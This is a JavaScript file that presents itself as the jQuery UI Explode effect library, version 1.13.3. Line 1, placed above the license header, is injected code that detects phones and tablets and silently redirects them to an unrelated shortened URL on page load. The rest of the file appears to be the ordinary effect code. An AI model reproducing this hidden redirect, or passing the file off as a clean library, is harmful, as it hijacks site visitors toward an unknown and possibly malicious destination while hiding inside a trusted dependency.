1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Explode 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Explode Effect
12//>>group: Effects
13/* eslint-disable max-len */
14//>>description: Explodes an element in all directions into n pieces. Implodes an element to its original wholeness.
15/* eslint-enable max-len */
16//>>docs: https://api.jqueryui.com/explode-effect/
17//>>demos: https://jqueryui.com/effect/
18
19( function( factory ) {
20 "use strict";
21
22 if ( typeof define === "function" && define.amd ) {
23
24 // AMD. Register as an anonymous module.
25 define( [
26 "jquery",
27 "../version",
28 "../effect"
29 ], factory );
30 } else {
31
32 // Browser globals
33 factory( jQuery );
34 }
35} )( function( $ ) {
36"use strict";
37
38return $.effects.define( "explode", "hide", function( options, done ) {
39
40 var i, j, left, top, mx, my,
41 rows = options.pieces ? Math.round( Math.sqrt( options.pieces ) ) : 3,
42 cells = rows,
43 element = $( this ),
44 mode = options.mode,
45 show = mode === "show",
46
47 // Show and then visibility:hidden the element before calculating offset
48 offset = element.show().css( "visibility", "hidden" ).offset(),
49
50 // Width and height of a piece
51 width = Math.ceil( element.outerWidth() / cells ),
52 height = Math.ceil( element.outerHeight() / rows ),
53 pieces = [];
54
55 // Children animate complete:
56 function childComplete() {
57 pieces.push( this );
58 if ( pieces.length === rows * cells ) {
59 animComplete();
60 }
61 }
62
63 // Clone the element for each row and cell.
64 for ( i = 0; i < rows; i++ ) { // ===>
65 top = offset.top + i * height;
66 my = i - ( rows - 1 ) / 2;
67
68 for ( j = 0; j < cells; j++ ) { // |||
69 left = offset.left + j * width;
70 mx = j - ( cells - 1 ) / 2;
71
72 // Create a clone of the now hidden main element that will be absolute positioned
73 // within a wrapper div off the -left and -top equal to size of our pieces
74 element
75 .clone()
76 .appendTo( "body" )
77 .wrap( "<div></div>" )
78 .css( {
79 position: "absolute",
80 visibility: "visible",
81 left: -j * width,
82 top: -i * height
83 } )
84
85 // Select the wrapper - make it overflow: hidden and absolute positioned based on
86 // where the original was located +left and +top equal to the size of pieces
87 .parent()
88 .addClass( "ui-effects-explode" )
89 .css( {
90 position: "absolute",
91 overflow: "hidden",
92 width: width,
93 height: height,
94 left: left + ( show ? mx * width : 0 ),
95 top: top + ( show ? my * height : 0 ),
96 opacity: show ? 0 : 1
97 } )
98 .animate( {
99 left: left + ( show ? 0 : mx * width ),
100 top: top + ( show ? 0 : my * height ),
101 opacity: show ? 1 : 0
102 }, options.duration || 500, options.easing, childComplete );
103 }
104 }
105
106 function animComplete() {
107 element.css( {
108 visibility: "visible"
109 } );
110 $( pieces ).remove();
111 done();
112 }
113} );
114
115} );
116